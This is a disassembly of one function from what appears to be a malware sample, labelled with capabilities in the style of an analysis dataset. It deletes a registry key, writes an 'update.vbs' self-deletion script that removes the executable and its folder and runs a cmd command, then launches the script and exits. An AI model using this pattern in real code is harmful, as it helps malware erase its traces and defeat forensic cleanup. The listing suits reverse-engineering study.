Function at 0x4082df
Capabilities:
Create process on windows
Delete registry key
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2bc
push ebx
push esi
mov esi, 0x466ee0
push edi
mov ecx, esi
call fcn.00402010
push eax
mov ecx, esi
call fcn.00402018
push eax
mov esi, 0x208
lea eax, [ebp - 0x2b8]
push esi
push eax
mov ebx, 0x466e98
push str.exepath
mov ecx, ebx
call fcn.00402018
mov edx, eax
call fcn.0040c985
add esp, 0x14
xor edi, edi
test al, al
jne 0x40833d
push esi
lea eax, [ebp - 0x2b8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, ebx
call fcn.00402018
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x2b8]
push 0x80
push eax
mov byte [ebp - 1], 1
call esi
mov ebx, eax
mov edx, 0x4585fc
neg ebx
mov ecx, 0x466eb0
sbb bl, bl
and bl, byte [ebp - 1]
call fcn.00406287
test al, al
je 0x408396
push 0x80
mov ecx, 0x466eb0
call fcn.00404386
push eax
call esi
push str.update.vbs
push 0x4589f8
call fcn.00431512
pop ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.004034f9
mov edx, eax
lea ecx, [ebp - 0x7c]
call fcn.00407526
pop ecx
lea ecx, [ebp - 0x34]
call fcn.004034ef
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [ebp - 0x34]
call fcn.004034f9
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [ebp - 0x1c]
call fcn.00408c57
pop ecx
lea ecx, [ebp - 0x34]
call fcn.004034ef
test bl, bl
je 0x408439
push 0x458aa0
lea eax, [ebp - 0x2b8]
push eax
lea ecx, [ebp - 0x64]
call fcn.004034f9
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [ebp - 0x4c]
call fcn.00408c57
pop ecx
mov edx, eax
lea ecx, [ebp - 0x34]
call fcn.00407526
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00405c6d
lea ecx, [ebp - 0x34]
call fcn.004034ef
lea ecx, [ebp - 0x4c]
call fcn.004034ef
lea ecx, [ebp - 0x64]
call fcn.004034ef
push 0x458ad8
lea eax, [ebp - 0x2b8]
push eax
push str.fso.DeleteFile__
lea ecx, [ebp - 0x34]
call fcn.004034f9
mov edx, eax
lea ecx, [ebp - 0x4c]
call fcn.00407526
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00407526
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00405c6d
lea ecx, [ebp - 0x64]
call fcn.004034ef
lea ecx, [ebp - 0x4c]
call fcn.004034ef
lea ecx, [ebp - 0x34]
call fcn.004034ef
test bl, bl
je 0x40849a
push str.wend_n
lea ecx, [ebp - 0x1c]
call fcn.00405c64
mov ebx, 0x4585fc
mov esi, 0x466eb0
mov edx, ebx
mov ecx, esi
call fcn.00406287
test al, al
je 0x4084e9
push 0x458ad8
push esi
mov edx, str.fso.DeleteFolder__
lea ecx, [ebp - 0x4c]
call fcn.00408c7b
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00407526
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00405c6d
lea ecx, [ebp - 0x64]
call fcn.004034ef
lea ecx, [ebp - 0x4c]
call fcn.004034ef
push 0x458ba0
push 0x458ba4
lea ecx, [ebp - 0xac]
call fcn.004034f9
push eax
lea eax, [ebp + 8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0x94]
call fcn.004034f9
mov edx, eax
lea ecx, [ebp - 0x34]
call fcn.00408c33
pop ecx
mov edx, eax
lea ecx, [ebp - 0x4c]
call fcn.00408bbd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00407526
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00405c6d
lea ecx, [ebp - 0x64]
call fcn.004034ef
lea ecx, [ebp - 0x4c]
call fcn.004034ef
lea ecx, [ebp - 0x34]
call fcn.004034ef
lea ecx, [ebp - 0x94]
call fcn.004034ef
lea ecx, [ebp - 0xac]
call fcn.004034ef
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x1c]
call fcn.00405c64
push ecx
lea ecx, [ebp - 0x7c]
call fcn.00404386
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402010
mov esi, eax
lea ecx, [ebp - 0x1c]
add esi, esi
call fcn.00404386
mov edx, esi
mov ecx, eax
call fcn.004138ed
pop ecx
pop ecx
test al, al
je 0x4085c9
push edi
push ebx
push ebx
lea ecx, [ebp - 0x7c]
call fcn.00404386
push eax
push 0x45858c
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x4085c9
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x1c]
call fcn.004034ef
lea ecx, [ebp - 0x7c]
call fcn.004034ef
lea ecx, [ebp + 8]
call fcn.004034ef
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret